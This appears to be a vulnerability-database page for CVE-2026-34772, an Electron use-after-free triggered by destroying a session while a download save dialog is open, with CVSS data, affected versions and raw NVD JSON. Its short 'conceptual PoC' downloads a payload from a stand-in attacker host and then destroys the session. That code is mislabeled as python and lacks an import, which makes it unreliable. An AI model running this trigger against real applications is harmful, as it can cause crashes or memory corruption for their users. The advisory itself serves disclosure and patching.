Security Vulnerability Report
中文
CVE-2026-34772 CVSS 5.8 MEDIUM

CVE-2026-34772

Published: 2026-04-04 00:16:18
Last Modified: 2026-04-22 15:10:25

Description

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8, apps that allow downloads and programmatically destroy sessions may be vulnerable to a use-after-free. If a session is torn down while a native save-file dialog is open for a download, dismissing the dialog dereferences freed memory, which may lead to a crash or memory corruption. Apps that do not destroy sessions at runtime, or that do not permit downloads, are not affected. This issue has been patched in versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:41.0.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:41.0.0:alpha2:*:*:*:node.js:*:* - VULNERABLE
Electron < 38.8.6
Electron < 39.8.0
Electron < 40.7.0
Electron < 41.0.0-beta.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-34772 // Requires an Electron app environment const { session } = require('electron'); function triggerVulnerability() { // Assume 'sess' is an active session, e.g., from partition const sess = session.fromPartition('persist:example'); // Step 1: Trigger a download that opens a native save dialog // This usually requires user interaction or a specific webContents event const win = BrowserWindow.getFocusedWindow(); win.webContents.downloadURL('http://attacker-controlled.com/payload.bin'); // Step 2: Wait briefly for the native dialog to appear setTimeout(() => { console.log('Attempting to destroy session...'); // Step 3: Destroy the session while the dialog is likely open // This causes the UAF when the dialog is closed later by the user try { sess.destroy(); console.log('Session destroyed. Potential UAF triggered upon dialog dismissal.'); } catch (e) { console.error('Error destroying session:', e); } }, 2000); // Timing may need adjustment based on system speed } module.exports = { triggerVulnerability };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34772", "sourceIdentifier": "[email protected]", "published": "2026-04-04T00:16:18.133", "lastModified": "2026-04-22T15:10:25.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8, apps that allow downloads and programmatically destroy sessions may be vulnerable to a use-after-free. If a session is torn down while a native save-file dialog is open for a download, dismissing the dialog dereferences freed memory, which may lead to a crash or memory corruption. Apps that do not destroy sessions at runtime, or that do not permit downloads, are not affected. This issue has been patched in versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "38.8.6", "matchCriteriaId": "9CE003A2-03CC-4355-AA17-2CBD204EC6C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "39.0.0", "versionEndExcluding": "39.8.0", "matchCriteriaId": "642CA6B2-000A-480D-B062-80593D150787"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.7.0", "matchCriteriaId": "E54036E0-1D1F-4265-A2F3-B9C1F88F65ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "A20225D6-F435-4D09-962D-B162F521B6AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "33712802-EB60-4E9A-83B8-9F2320B70CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "9D0A9142-54FE-47BB-9FEB-5E97528E28FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "9E1D191F-DEAE-4DB3-9822-F31AF9FE3BAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "45A8192F-3D2C-4987-9BBE-7ECC3F71965D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha6:*:*:*:node.js:*:*", "matchCriteriaId": "EEA1A2E5-03DB-46CB-8427-7F31A8A7CE1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta1:*:*:*:node.js:*:*", "matchCriteriaId": "B2DFCE75-BD3F-4537-B5B8-14097E262EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta2:*:*:*:node.js:*:*", "matchCriteriaId": "BC346E25-EA43-4615-8CDB-16D15D46E4FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta3:*:*:*:node.js:*:*", "matchCriteriaId": "FA5B3C00-CAFC-4995-BF35-9920F3039E77"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta4:*:*:*:node.js:*:*", "matchCriteriaId": "3672F3FB-6B5E-40FD-8A92-CB4DD6BC6A93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta5:*:*:*:node.js:*:*", "matchCriteriaId": "9EE4F8AE-21D2-4815-85B7-B7ECCC0D5059"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta6:*:*:*:node.js:*:*", "matchCriteriaId": "D195760C-7DD9-4259-9042-EDE65AEAC1D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta7:*:*:*:node.js:*:*", "matchCriteriaId": "B370859F-24D3-4B25-B580-1A5B6DB94BFE"}]}]}], "references": [{"url": "https://github.com/electron/electron/security/advisories/GHSA-9w97-2464-8783", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}